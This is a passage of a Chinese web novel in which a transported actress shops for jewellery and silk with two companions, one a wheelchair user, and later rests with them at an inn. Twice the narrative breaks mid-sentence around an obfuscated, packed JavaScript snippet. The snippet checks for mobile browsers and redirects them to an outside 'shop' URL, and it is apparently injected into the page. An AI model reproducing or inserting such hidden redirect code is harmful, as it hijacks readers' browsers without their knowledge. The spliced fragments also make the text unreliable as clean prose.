“觅珍阁”,果然店如其名,满屋的珠光宝气,珍珠翡翠、金玉宝石,处处泛着金光,闪得叶之萤眼睛都要瞎了,不愧“觅珍”二字。 “老板,这个、这个、这个、还有那个,都拿给我看看。” 叶之萤拿出平时购物的一贯架势,照例不看价格,只是对着想要的东西用手指一指,便自然走到铜镜前落座,等着老板伺候。 一旁同行的三人表情则各不相同。阿力被她如此娴熟散发出来的“富姐”气场惊得目瞪口呆;关若飞则兴奋地帮她推荐其他款式;而温其玉,他似乎从关若飞提议来这边的铺子起就不太情愿了,不知道是不是因为这边的铺子都有台阶和门槛,对他太不方便,总之他坐在那里,看上去像是有心事。 但叶之萤此时的购物欲已经满得要溢出来了,必须得释放释放,也实在顾不得他愿不愿意跟着。看他那副为难的样子,她心想大不了下午都听他的,他想去哪自己就陪他去哪呗! 老板见她如此豪爽,身边又跟着两位衣着不凡的公子,心想来了位大客户,丝毫不敢怠慢,把她刚点到的东西全部取了出来,又支开了伙计,打算亲手挨个替她试戴。 “剩下的不用试了,全包起来吧!”叶之萤坐在铜镜前,取下耳垂上挂着的一对母贝荷叶金耳坠,礼貌地递给老板。 “好嘞!客官稍等!”老板笑盈盈接过耳坠,很快就将她挑选好的六样饰品全部打包好。 “小姐好眼光,挑的都是本店最贵气的款式,六件一共一百零六两,这是单据,您看看,云纹金镯十五两,花树形镶珠金步摇二十八两,白玉凤首金簪二十五两……” 一百零六两!! 好抽象的数字啊! 别说叶之萤了,就连身边的关若飞听到价格都愣了一下。 天呐!叶之萤,你刚刚都干了些什么?就十两银子的家当,居然在这里嚣张地大买特买,你怎么敢…… 叶之萤在心里疯狂咆哮。 她并不知道十两的购买力到底有多少,但刚刚那个桃花糕才一文钱,按一两白银能换一千文铜钱来算的话,她猜这些首饰即使再贵,顶多三四百文一件。更何况,关若飞是知道她有多少钱的,她以为他肯定不会推荐超出她财力范围的东西,这才没问价格就挑选起来,但是看关若飞刚才的反应,这莫不是家黑店? 老板看她的手悬在空中一直不接已打包好的饰品,也不打算付钱,忙奉承道:“这几款,虽说价格是贵了些,但都是我们店里上品中的上品,也只有小姐这样国色天香的女子才配得上!” 正所谓刚才有多得意,现在就有多尴尬!实在太丢人了!现在该怎么脱身?老天爷,救命啊! 耳边突然传来关若飞的声音:“这是一百一十两,不用找了。” “多谢公子!”老板高兴地接过了他的银票。 “你干嘛?”叶之萤一把从老板手中抢过银票,还给了他,又舔着滚烫的脸,强壮镇定对老板说,“这些……都……不要了!” “不要了?”那老板一怔,眼睛睁得老大,不明就里地问,“可是有哪里不喜欢?若是不喜欢的地方,可以根据小姐的意图进行修改,保证能让小姐满意。” “也没什么不喜欢的,就是……你卖的这些东西,太便宜了!”她一本正经地板着脸说完,优雅地转身离去,留下老板端着木匣一脸无辜地消化她的那些话。 出了门,又走了一段路,确定那老板听不见他们的对话了,她才狠狠地照关若飞的胳膊打了一下:“你明知道我没钱,还带我去那么贵的黑店,这下好了,脸都丢尽了!” 关若飞笑得前仰后合,眼泪都快出来了:“怎么能怪我?你刚刚可太有意思了,居然说嫌太便宜,你可知这‘觅珍阁’已经是黎城最高档的珠宝铺了?” 她无奈笑道:“那我怎么说 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别人看到她哭没关系,可是温其玉就在身后,她实在不愿自己脆弱不堪的一面被他发现,虽然已经一无所有,她依然想要在他面前保有骄傲和自尊。 可是……自己又为什么独独在意他的看法呢? 这个念头在叶之萤脑海中刚冒出来,就被关若飞吓了回去:“夜莺,我没有想让你丢脸,你误会了。我本就打算买下那些东西送你的,一百一十两又不多,谁知道你竟然一听价格就扭头走了……” “谁要你送!”她愤愤地瞪了他一眼,却也在心里接受了这个于她而言多此一举的善意。 他的确是个好男人,家境好、长相好、身体好,平日里对她也很好,但很遗憾,这所有的优点都吸引不了她。 关若飞看她态度好转,又殷勤地问道:“那‘福裕绸庄’,还去吗?” 叶之萤实在是想去看看邺国最大的绸庄里都卖些什么,但兜里没银子,总是少了些底气,怕被店家鄙视没钱还看什么看。 关若飞看穿了她的心思,回头瞥了眼温其玉,又对她说:“不买也可以看看嘛,这家绸庄,兄长可是……常客,你看兄长今日穿的这套衣裳就是他们家做的,所以你大可放心,随便看!” 叶之萤顺着他的话回头看了一眼温其玉,道:“没见你来过呀?” 温其玉此时终于开了口:“铺子里有我的身形尺寸,我只需选好料子和款式,不用亲自前往。” 说到这里,她倒是想起来确实曾经在他的房里见过一些小块的布料。 既然有温其玉这个贵客撑腰,那也没什么不好意思的了,她道:“走吧,虽然买不起,但我也想见识一下这邺国最大的绸庄是什么样的!” 温其玉的目光看似不经意地在她脸上某一处驻足,就那一霎,他的眉心微蹙了一下,还不等叶之萤看清楚,他的眼神就飞速离开了她的脸。 刚刚被他盯着的地方有些凉凉的,叶之萤用手一摸,那是一滴还未被风吹干的泪痕…… 43. 布庄里的“人形种草机” 绸庄门口有几级台阶,那老板看到温其玉竟然亲自来了,惊讶之色溢于言表。对此,叶之萤这一路上倒是习惯了。谁让这么一位风华绝代的翩翩公子残疾得如此严重?在街上可不显眼吗!就算是自己遇到他,也得多看两眼才行。 但那老板只看了一眼,脸上就已不见惊讶,他快步迎出来,恭敬地和关若飞、阿力一起,将温其玉连人带轮椅抬进了店里。温其玉则微微点头表示感谢。 一进店,叶之萤就知道刚才进来的决定是做对了。这个绸庄里的布料确实足以让她大开眼界: 对着正门的那面墙上挂满了上好的丝织品,有的极具光泽,有的柔若羽绒,有的光滑如冰,有的朦胧似月;花纹也是各具特色,有暗纹、刺绣、织金、织银;颜色更是五彩缤纷……实在让人眼花缭乱,无从下手。以往都是买成衣,这里买衣服却都是从选料子开始,好在今天只是来看看,若真让她选,还真不知道该怎么下手呢! “这位小姐,我们这里的绸缎全都是福裕绸庄的上等绸缎,款式和京城的一样,都是现下最时兴的,像这种粉红色、粉蓝色、大红色、竹绿色、鹅黄色,姑娘们最喜欢了!”布庄老板热情地为她推荐。 “有样衣吗?” “有!样衣在这里,都是当下最流行、最受欢迎的款式,您这边请!”老板一边说,一边将她带到了旁边的一间屋子,这间屋子里挂的全部都是样衣,男款女款都有。相比那些抽象的布料来说,这样看着具象多了。 原本她只是想看看的,可这些衣服太美了,比她在剧组里穿的那些所谓“重工”制作的古装戏服要华美一百倍!比那些西方奢侈品更要华美一万倍! 何为“华”?有服章之美谓之华。眼前这些衣服,是真真正正的中式之美,它是深沉的、内敛的、大气的,是属于中国人独有的浪漫。对这些衣服的喜爱,镌刻在每一个中国人的基因里,叶之萤实在很想穿上它们看一看。 “我能试试吗?”她谨慎征求老板的意见。 在得到老板慷慨的同意后,她大手一挥:“这个,这个,这个,这两个,还有这个,都拿来给我试试!” 老板连忙上前招待,将选中的衣服整整齐齐在衣架上挂成一排,供她试穿。 “不用招呼了,我自己试就行。”毕竟没打算买,叶之萤也不好意思麻烦老板太多。 她站在锃光的铜镜前,自在而娴熟地摆着各种恰到好处的姿势,这些衣服仿佛有着神奇的魔力,让她在跌落山巅后再一次心生“一览众山小”的错觉。都说真正的美人即使披着麻袋也是美的,可还有另外一些古语,比如“人靠衣装马靠鞍”,又比如“先敬罗衣后敬人”。 此时,镜子里的女人那么闪耀明媚,好像全世界的光都紧紧吸附在她身上,晃得人睁不开眼,身上那流光溢彩的织金软锻更为她平添几分神性,美得不像凡人,倒像那天上的神仙。她望着镜中的自己,脑海中浮现出温其玉第一眼见她真容时那出神的样子,不禁得意起来,心想那引得曹植寤寐思服、辗转反侧的洛神甄宓也不过如此吧…… 在大家惊艳不已的目光中,她回到更衣室,脱掉了身上最后一套试穿的衣服,出来后,把它重新挂回了衣架。那是一件淡蓝色的织金素软缎,配同色系正蓝色的葫芦暗纹软缎裙,正在她眼前闪烁着温柔的光泽;紧挨着它的是另一套荷粉色的浮光锦,上面生动的荷花纹与这块料子可谓相得益彰,搭配翠绿色缠枝纹百褶罗裙更是绝妙;再旁边是一件月黄色的提花云锦袄,外罩一件薄如清烟的轻纱,如月光那般温柔恬淡…… 她的手和眼都在这些衣服上流连忘返,总共八套,每一套都那么柔软、光滑,真真让人难以割舍。 叶之萤发现,这家店自他们几人进来到现在,都没有再进过别的客人。 她虽不懂这些布料,但好的布料不需要懂也能看出几分。 她忽然间明白了为何刚才温其玉会没头没尾地指向另一家店。她知道,即使刚刚“一览众山小”的美梦再令人愉悦,现在也要重回现实了。温其玉正是怕这样的落差会刺伤她如今格外脆弱的自尊,才不想让她过来的吧? 她亦明白了温其玉的所谓心事,也不过是在为她的情绪担心。 他对她的关心,明明不着痕迹却又细致入微,叶之萤突然觉得,被这样一个人如此关心呵护着,什么珠宝美器、锦衣华服,似乎也没有那么迫切地想要得到了。 出门后,她自然地走到了温其玉旁边,感慨道:“那些衣服真好看啊!” “这可是福裕绸庄的丝绸啊!”关若飞也跑了过来,一脸骄傲道,“是全邺国最大、最有名、品种最齐全的布行,连皇家的衣料都是他们家提供的!只有京城和江南才有他们的分行,黎城这个边陲小城也不知是托了谁的福才能有这一间。” 叶之萤又没忍住,朝他翻了个白眼儿。虽说这“福裕绸庄”确实厉害,但跟他关若飞有什么关系呢?他嘚瑟个什么劲儿啊! “夜莺!”关若飞又叫她。 “干嘛?” “我看你很喜欢那几套衣裳,那衣裳也很衬你,要不……我们回去把那衣裳买了吧。” …… 叶之萤对他实在无语,停下脚步,转身反问他:“你在开玩笑吗?我哪有钱买?” “我和兄长都有啊!” “那跟我又有什么关系?” 关若飞好像并没有懂她的意思,还在自说自话:“我们可以替你买啊!” “你到底听没听懂我在说什么?”说到这里,叶之萤甚至差点被他逗笑了,“对于买东西这件事,我们……我们还是换个话题吧。” “可是刚刚有一套荷绿色的,只要八两!” 苍天呐!对牛弹琴也不过如此了! 关若飞的话,把叶之萤好不容易隐藏起来的伤口一点点地撕开,将她不愿示人的一面赤裸裸地摆在温其玉面前,令她无地自容。 可自己到底为什么会这么在意温其玉的想法?明明自己如今是什么情况他都知道,明明在他面前什么也藏不住,明明知道他不会因此看不起自己,为什么在他面前自己还是如此惧怕暴露卑微? 叶之萤再一次开始思考这个问题。 她清楚地知道,她希望在温其玉面前的自己是强大的、耀眼的,是可以让他为之得意和骄傲的,是不被他轻易掌控的,而不是像现在这样窝囊、落魄、囊中羞涩,事事都需要他帮助。 这样的想法一冒出来,她便被自己吓了一跳。自己到底在胡思乱想些什么!还让他为自己得意?还不被他掌控?这是把自己代入什么角色了? 意识到这件事,叶之萤的心猛烈地跳动起来,剧烈得哪怕隔着衣服、隔着骨头都能看到心口在跳动。她突然觉得口干舌燥,全身发热,热得她不停地用手给自己扇风降温。 “若飞,此事还是让叶姑娘自己决定为好,我们不要勉强她了。”是温其玉的声音。 叶之萤那不知在忙些什么的身体瞬间安静了下来。 虽然温其玉平日里对她照顾有加,而且买几件衣服对他来说也是九牛一毛,但在这件事情上,他却始终一言不发,没有让她为难,他对她的尊重让她觉得很舒服。 她冲他点了点头,就当对他替自己解围的感激,刚才的尴尬也因他的话减轻了许多。 又回头看了眼“福裕绸庄”的黑色牌匾,那四个金色大字正如像夏日的阳光那般耀眼。 总有一天,自己要再回来的! 很快,他们又去了另一家布庄,也是温其玉提议的那家。 与上一家极度奢侈的布料不同,这家布料看起来就平易近人多了,主要经营普通丝织品。因为价格相对友好,所以客人也比刚才那家多。 她一进去,就在客人中引起了一阵骚动,这阵还未平息,待温其玉被抬进来,又是一阵新的骚动,一些人甚至放下了手中的衣物和布料,专注地盯着他看,眼神赤裸裸的,没有一丝修饰,让人很不舒服。 “这家也没什么好看的,走吧。”她一边说,一边就要推着他往门外走去。 “我看这家倒不错,要不要再仔细看看?”他的声音从轮椅上传来,没有一点不愉快,反倒像是求着她给他挑衣服,生怕她走了似的。 “是啊夜莺,我看这家也不错,看看嘛!”关若飞也附和着。 于是她又回到了店里。平心而论,这家铺子的布料并不低端,消费的人群也不是底层劳动阶级。 也是来到这里叶之萤才知道,在古代,真正的底层百姓穿的都是自己织的粗布麻衣,根本买不起这种丝织品。 假如刚刚没有去过“福裕绸庄”,恐怕她也会在看到这店里的衣服时眼前一亮,但是见过了那些上等布料后,再看这些衣服,难免会有不小的落差。 但如今就这个条件,叶之萤觉得屈尊降贵也好,甘愿乐得平凡也罢,最重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991666|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的是,有多大脑袋就戴多大的帽子! 她最终选了两套,其中一套淡粉上衣加月黄裙子的成衣,还有一套浅绿色的衣裙。可是两套要四两,讽刺的是,即使在叶之萤在心里,它们只是退而求其次的选择,但四两银子对她而言仍是有些吃力。犹豫再三,她只能选择更便宜的粉色加月黄色那套,外加一套中衣,总共只要二两银子,她付了钱,当场换在身上。 没想到,换上这套衣裙的她竟引得铺子里的客人连连惊叹,连外面的路人也纷纷进店欣赏,有三位女子因为看到她的试穿便当即付钱购买了同款。另有一位男性顾客或许是为家中妻女挑选布料,见状也连连托老板恳求她帮忙试穿。 老板见她为自己拉来了好几单生意,大气地把一两银子作为报酬退给她了。 此时,店里还有不少顾客希望她帮忙试衣,于是叶之萤借机提出:“老板,不如我再帮你店里的顾客试两套,你就把这套衣服就送我吧?” 老板连连答应。 于是她在有限的空间里为店里的顾客走了一场“秀”。效果竟出奇得好,客人们在看到她的“买家秀”后都抢着要买同款。真真体现了那句“合作共赢”的真谛。 叶之萤收获满满地从那家布庄出来,手里攥着挣来的二两银子,心中的阴霾已完全被骄傲取代。 关若飞对温其玉打趣道:“兄长,没想到夜莺不光长得美,还很有商业头脑呢!” 温其玉只是抿嘴一笑,没有说话。但叶之萤看出他也很为自己刚才的表现惊喜。 得到了他的肯定,她心里很是得意,但嘴上还是要谦虚:“以前我也经常会给一些品牌代言,品牌方把他们的当季新品提前寄给我,衣服、鞋、包,甚至珠宝首饰,而我就负责把那些东西穿在身上为它们做广告,这就是合理利用自身的优势,把优势转化为资源,简单来说,就是‘带货’。”但说着说着,就又不免骄傲起来,“我可是‘带货女王’,业绩好得很!” “夜莺,你真厉害!”关若飞对她已是一脸崇拜,可她的目光却自始至终都在温其玉脸上。 他虽没有看她,但通过对他表情的分析,他在认真地听。 “夜莺!” 一旁的关若飞打断了她对温其玉的凝望,她转过头来:“说!” “你方才展示衣裳时的步态和姿势……那种睥睨全场的自信!可太迷人了!”关若飞边说边东施效颦地扭了起来。 她笑道:“这就是我以前的工作呀,当然信手拈来啦!对了,再告诉你一件事!” “何事?”关若飞停下妖娆的步伐,好奇地竖起耳朵,走到了她身边。 “你扭得实在太丑了!”她在他耳边大喊一声,趁他没反应过来,就笑着跑到了温其玉身边。 关若飞果然跑过来追她。 叶之萤笑着直往温其玉怀里躲:“救命!救我!” 一瞬间,除她之外的三人全怔住了。 阿力忽地停下了脚步,关若飞则看看她,又看看温其玉,满脸的笑容都僵在了脸上。而她身下的温其玉,他本就不能动,如今看着懵头撞进自己怀中的她,更是像被人点了穴似的,全身上下都僵住了,只有呼吸是急促的,望向她的那双眸子更是兵荒马乱。 她赶紧从他怀里站起来弹出老远,站在那里语无伦次:“嗯……我……那个……” 叶之萤此时心里的震惊程度不亚于他们三人!自己怎么就在众目睽睽之下钻到温其玉怀里去了呢?她发现,自己最近越界的次数似乎有点过于多了。不知道是从什么时候开始的,温其玉身上冒出了一种可以随时令她丧失理智的吸引力,如今,这神奇的吸引力对她的影响已经快要超过地心引力了。 她站在那里哼唧了半天,最后也没说出什么所以然来,只能尬笑几下。 “叶姑娘,你饿了吗?”最终还是“受害者”温其玉挺身而出帮她化解了这场尴尬。 “啊?嗯嗯嗯!”她机械似的连连点头。 不知不觉,他们脚下的影子都已经几乎看不见了,阿力望着头顶的艳阳,也赶紧附和:“这烈日当头的,要不先回酒楼歇歇脚,吃些东西,等日头过去了再出来?” 再看温其玉,他坐在轮椅中,虽然有束带的帮助,但身子已经不像开始那样坐得端正,而是佝偻着往右边歪斜了,明显已经体力不支。 光顾着自己开心了,竟然把他的身体状况完全抛到了脑后! 44. 他的无奈 他们迅速去到了关若飞所说的那家酒楼。这间酒楼饭的味道到底如何她还不得而知,但看店里的客流量,每张桌子都坐得满满当当,高低得是家网红餐厅。 一进店,叶之萤就不出所料吸引了店里大部分食客的目光。 “看到了吗?那个姑娘好漂亮!” “是啊!美得不像凡间女子!” “本少爷活了几十年,都没见过如此绝代芳华的女子!” 店里瞬间骚动起来,大家纷纷议论起叶之萤的相貌,对此,她早就见怪不怪。 “小二,听雨阁!”关若飞一进门就招呼小二过来带路。 “客官,二楼请!”小二一边给他们带路,一边目不转睛地盯着叶之萤看。 “一楼可有厢房?”阿力表情有些为难。 小二明显没注意听阿力说的话,愣了一下神,才意犹未尽地把目光从叶之萤身上抽离:“啊,回客官的话,小店的厢房全都在楼上。” 包厢在二楼,但是楼梯又窄又陡,没法抬着轮椅上去,温其玉只能被人背着上楼,关若飞订包厢时却没有考虑到这一点。 众目睽睽之下,这确实是个令温其玉难堪的事情。但他并没有说什么,只是垂着眼,任由阿力摆弄自己的身体。 阿力刚一解开勒着他的束带,他的身体便立马失去控制,无力地向右边瘫倒。 他对自己的身体毫无控制能力,叶之萤怕他摔到地上,一个箭步冲到他前面,一只手护在轮椅扶手上,另一只手护在他身前挡住他的身体,结果他的身体丝毫没有减力,狠狠撞在她左手手指上,而她的手指又正好硌在棱角分明的轮椅扶手上。 “嘶……”她那四根手指被紧紧挤压在温其玉的身体和轮椅扶手之间,夹得生疼,一时没忍住咧嘴吸了口气,又怕他发现会自责,急忙收回表情,想装成若无其事,却没瞒过他的眼睛。 “你的手……”他想控制自己从她手上挪开,奈何身体却始终纹丝不动,直到阿力扶起了他的身体。 叶之萤抽出左手迅速看了一眼,就将它背在身后,对他说:“一点事都没有!别担心!” 一抹痛苦随即在他的眼底化开。 叶之萤退到他身后,心虚地逃离了他的视线。 背他一点也不容易,因为他全身都不能动,甚至不能主动揽住阿力的脖子,因此需要阿卓在他身后扶稳他的身体,阿力再揽住他的腿窝,弓着腰慢慢向前走。 他那两条腿任谁一看都知是彻底坏掉了,完全没有正常腿骨的硬挺和健壮,萎缩得只有一般人胳膊粗,看起来就像脱了骨一样绵软无力。 在那两条腿上,你感受不到一丝生命的气息,他们就像深秋时节还顽强挂在树上不肯坠落的枯叶一样,明明已经油尽灯枯,却仍不甘落幕。 它们本不该这样毫无用处的,可是李渔的毒药却彻底毁了它们。 心里又是一揪。 这时,本就喧闹的环境里又传出几句不堪入耳的话。 “你看那人的腿!” “看着仪表堂堂的,没想到是个瘸子!” “娘,那个叔叔的腿……好可怕!” “不怕不怕!真是的,如此模样,不在屋里躺着,还出来吓人!” 这里的人说话似乎过于直白了,不知是该评价他们单纯,还是心恶。一路上,这样类似的声音始终不绝于耳,再好脾气的人也无法一直容忍。 叶之萤站在原地深吸一口气,努力屏蔽掉耳边这一声声刺耳的议论,一抬眼却又看见他身下那两条正在打晃的腿。不知为何,竟突然尴尬得浑身发烫,好像那些人议论的不是温其玉,而是她叶之萤,好像她正在干一件多么丢脸的事情,她忍不住将头埋得很低,不想让那些长舌之人再看见她的脸…… “叶小姐?”是阿力叫她。一抬头才发现,他不知道什么时候已经背着温其玉转了过来。两人都正在看她! 糟糕!自己刚才的表情岂不是都被他们尽收眼底了? 她吓了一跳,心脏在身体里咚咚乱撞。 “怎……么了?”她舔着因紧张而干涸的嘴唇尴尬地问他。 “你走得快,走前面吧!”阿力的语气听起来似乎没什么不对。 她想,或许他们并没有察觉到她的异样。 从他们身边走过时,她甚至不敢抬头直视温其玉的脸,只敢偷偷用眼角的余光窥探他的表情,以此推测他是否看到了那一幕。 他瘫软地趴在阿力背上,没看出有任何恼怒的情绪,似乎那些难听的话并没有对他造成什么影响。只偷看了一眼,她就匆忙收回了目光。 看他的样子,似乎刚才并没有注意到。还好还好!叶之萤顿时松了一口气! 可是走在楼梯上,她越想越生自己的气。自己居然会觉得温其玉的残疾丢脸?这样的自己和楼下那些出言不逊的人有什么区别?她因此在心里怒骂自己一百八十回! 心不在焉上楼梯的代价就是,她一脚踩在了自己新长裙上,一个重心不稳,整个人直接五体投地趴在楼梯上,摔了个狗吃屎。 这下真的丢人丢大发了! “夜莺!你没事吧?”身前的关若飞一边大叫,一边返回来扶她起身。 “没事没事!”她知道此时身后有一双眼睛正盯着她,盯得她后背发烫,烫得衣服都快要烧着了,她迅速爬起来,连头也不敢抬就迈着大步落荒而逃。 “夜莺,你刚才怎么了?”刚逃进包厢,关若飞就追上来问她。 她随手拉了个凳子坐上,假装淡定道:“我没事啊!” 背后的灼烧感依然没有缓解。 “摔疼了没有?” “没有,一点事都没有!” “那手呢?” “手?”被他一问,她这才想起来刚才左手受了伤,于是伸出手来检查,倒是没有大碍,只有无名指肿了起来,还破了皮。 她赶紧指了下门外,示意关若飞千万别声张。 这点伤口对她来说实在算不上什么,却足以令某人自责很久,实在没必要小题大做。 “那你也不能为了不让兄长自责就硬忍着啊!”他压低声音怪她。 她也同样压低声音:“哪有硬忍着?这不是不要紧嘛!这么点儿伤,何必给他添堵?更何况我们一起出来玩,他要是心情不好,我们下午还怎么愉快地玩耍,是不是?” 关若飞还没来得及回答,温其玉就上来了,二人即刻收了声。 这个包厢是个套间,外间是吃饭的地方,靠窗摆着一张可供休息的软榻,而内间是个卧房,靠墙放着一张香幔软床。 阿力和阿卓二人直接将温其玉背到了里面的套间。叶之萤也想跟进去,却被阿力恭敬地挡在门外,只好都退了出来,并顺手带上了门。 “你的手真没事?”关若飞凑到她跟前,还是不放心。 “真的没事儿,你看嘛!”她主动伸出手给他看。 “倒是没有大碍。我跟你讲,照顾兄长这样的病人很不容易,你手既然受伤了,该偷懒就要学会偷懒,脏活重活就让他们二人做。”他朝套间那边使劲努了努嘴。 “多谢关衙内这么替我着想!”她又开起了玩笑。 “那当然!” “既然你这么好,可不得让他们俩知道啊!”她逗起他来。 关若飞坐直身体,假装生气:“我这可是为了你好,你不感谢我,居然还想出卖我!不怕我报复你?” “你想怎么报复我?”她挑眉问他。 关若飞眼珠子骨碌一转,拿起了面前的一只筷子,趁她不注意,迅速戳到了她侧腰的痒痒肉上。 “啊!”叶之萤腰上的肌肉瞬间缩了起来,忍不住大叫了一声。 他乐地哈哈大笑。 很快,叶之萤也拿了一根筷子,眼疾手快戳到了他侧腰相同的位置,他也痒得缩成一团。趁他痒劲儿未过,朝着刚才的地方又是一下,他被戳得连连求饶。 “你以为就你会啊!”叶之萤还没有要停下的意思。 二人就这样扭打在了一起。当那扇门重新打开时,叶之萤正单腿跪在地上,另一条腿压住关若飞的身体,一手从身后扣住他的双手,一手使劲咯吱他的腰。关若飞趴在地上一面痛苦大笑一面求饶:“女侠饶命!啊!饶命!” 阿力和阿卓站在门口显然已经呆住,而床上的温其玉,也在欣赏二人的“疯态”。 原来二人在不知不觉中正好打到了套间门口,此时,关若飞趴在门口的地上,叶之萤则跪在他旁边按着他的身体不准他动。 “你……你们……” “少爷……这……” 阿力与阿卓都吓到瞠目结舌,说不出话。 叶之萤赶紧松开关若飞,关若飞也迅速从地上跌跌撞撞地爬了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991667|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我们……我们……”他紧张地语无伦次,似乎是不知道要怎么解释,尴尬得手都不知道该往哪儿放。 相比较他的紧张,叶之萤就显得轻松多了。 “收拾好了?”她若无其事地问了一句,越过仍在愣神的阿力和阿卓,径直走到那张床边。 “你觉得怎么样?累吗?”一边说,一边向床上的人投去一个灿烂的笑容。 床上的人摇了摇头,回她一个浅浅的微笑,定定地看着她道:“你今日很开心!” 这是一个陈述句,但她还是坚定地点了头。 他眨了眨眼,目光在她身上来回流转,表情中带着欣喜,却始终没有说话。 叶之萤被他看得有些不好意思,忙找话题缓解尴尬:“你……饿了吗?” 他点头道:“有些饿了,你呢?” “早就饿得头晕眼花了!”她捂着肚子一脸痛苦道。 “方才在街上看你神采飞扬、步履矫健,可一点都不像是饿着肚子的样子。” “那当然了!买买买的时候哪还顾得上饿呀? 床上的人笑言:“待会多吃点,下午才有力气继续。” “那你可太小瞧我了,就算只剩一口气,都不耽误我逛街!”她被自己的话逗得大笑起来,笑到一半,又突然想到一件事,急忙收住笑问他,“你下午还和我……和我们一起吗?” 他这样的身体状况撑半天已实属不易,还好这间酒楼有这个套间,可以让他躺下休息休息,也有足够的私密空间解决一些……其他问题。 对着床脚的两扇窗户都被人开到了最大,正吹进来徐徐的清风,还好天气已经暖和,这风吹在身上一点都不凉,倒是暖暖的,怪舒服的,还夹杂着一股熟悉的草药清香…… 她心想,等他吃饱喝足、养精蓄锐后,再撑一两个时辰应该不成问题。 “怎么?这么快就嫌弃我了?”他眯着眼睛问她。 一向爱开玩笑的叶之萤顺着他的话接了下去:“是啊!” 他的表情突然僵住,眼里的光“唰”一下就熄了。 叶之萤看他似乎是当真了,赶紧摇头解释:“不是不是,我开玩笑的!你别当真啊!” 他的目光又落回了她的脸上,却不像刚才那般安定自若,反而带着些迟疑和胆怯。 她心里后悔,就不该逗他的:“我怎么会嫌你呢?我当然希望你下午能继续和我……们一起,只是……不知道你的身体……还能不能支撑?” 她斟酌着措辞,尽量让自己的解释自然一些。 他却眉心一蹙,似乎不太高兴。 “怎么了?”她谨慎地问他。 “我有些累了,饭后和阿力先回去,你与若飞今日相聊甚欢,下午便让他继续陪你吧。”这句话本来没什么问题,但从温其玉嘴里说出来,叶之萤却觉得哪里怪怪的,有些酸溜溜的。 她的失望溢于言表,整个人像被霜打了的茄子一样蔫儿:“你真的要先回去?” “没有我在,你们也更轻松些。” 她一听他这样说,立刻脱口而出:“谁说的?我就喜欢和你逛街……呃……我们都喜欢和你一起,你别这样说自己。” “是吗?”他眼底闪过一丝异样。 这句反问一下子戳到了叶之萤心窝。她猛地提起一口气,连脊背都挺了起来。 难道刚才在楼梯口自己的尴尬其实被他捕捉到了? 不会吧? “当然了!”她道。这话并不是假意迎合温其玉,但语气却因为觉得对不起他而有些犹豫和心虚。 他盯着她的脸看了许久,看得她心里愈发忐忑,手心也冒了一层薄汗。 继而他浅浅一笑,道:“我知道,只是我的身体恐怕真的支撑不住了。” 始终提着的那口气终于从鼻腔里不着痕迹地缓缓呼了出来。 “那……好吧。”她点了点头,便不再说什么。 “夜莺,菜上齐了,你不是饿坏了吗?快过来吃饭!”关若飞的大嗓门从门外呼啸而来。 “去吃饭吧,多吃些。”温其玉的声音格外温柔,似乎是在安慰她,却完全没有奏效。 叶之萤总觉得温其玉是在闹情绪,但又找不到证据。他拿身体做挡箭牌,她自然不能逼他,更何况他态度温柔,也不像生气的样子…… 难道是自己多心了? 45. 越了解,越喜欢 “哟,这怎么这么多人在门口拥着,干嘛呢?”等她从里间出来,发现包厢门口聚着十几个人,正踮着脚探着头往里张望,看见她从门口走过,都激动地推搡起来。 “都是被你叶大小姐的绝世容颜吸引来的!”关若飞望着那群疯狂的“粉丝”,连连叹气,“你若是觉得不自在,我去……” 不等他说完,叶之萤已经自然地走到门口,跟那些人打起了招呼,又劝大家回去吃饭,以免扰乱酒楼秩序。 她的脸上荡漾着春风般的笑容,一颦一笑皆是迷人的姿态。那些人听了她的话,就仿佛被下了咒似的,一个个都配合地离开了。 那些人走后,她无意间又瞟见了里间的温其玉,他看着她的目光中透露着困惑,好像在他面前站着的不是他认识的叶之萤,而是另一个陌生人。 “我还以为你会被那些人吓住,还打算英雄救美,帮你把人赶走来着……”关若飞坐在餐桌旁,一脸不可思议地审视着她。 拜托!姐姐好歹也是内娱顶级女星! “这才几个人?”她面露不屑。 “哎夜莺,你这态度变得也太快了,对他们那么温柔,对我这么冷漠?这不公平!” 听关若飞如此说,叶之萤倒是笑了起来:“至少现在在你面前的,是一张真实的脸。” 多年的明星做下来,面对粉丝、面对镜头,叶之萤早已有了一套娴熟的处事方式:温柔可人的笑容、谦逊有礼的态度、得体有素的举止、人畜无害的形象,以及滴水不漏的话术。一开始,它们被人为的组装进她的身体,之后的日子里,它们逐渐和她的身体融为一体,她变成了一个合格的明星,一个粉丝眼中完美的偶像。可她却越来越痛苦,那些本不属于自己的零件在体内被不断排异,疼痛时刻提醒着她,该扔掉那些多余的东西了!可每当她准备下手时,耳旁就不断地有声音提醒:扔掉那些托起你的东西,你将会摔得粉身碎骨! 回顾过往,这一路走来太不容易,只有她自己才最明白,为了站上金字塔尖,曾经舍弃了多少,牺牲了多少。可站得越高就越怕摔倒,她一刻也不敢松懈,为了不从高台坠落,她唯有继续忍耐,继续伪装…… 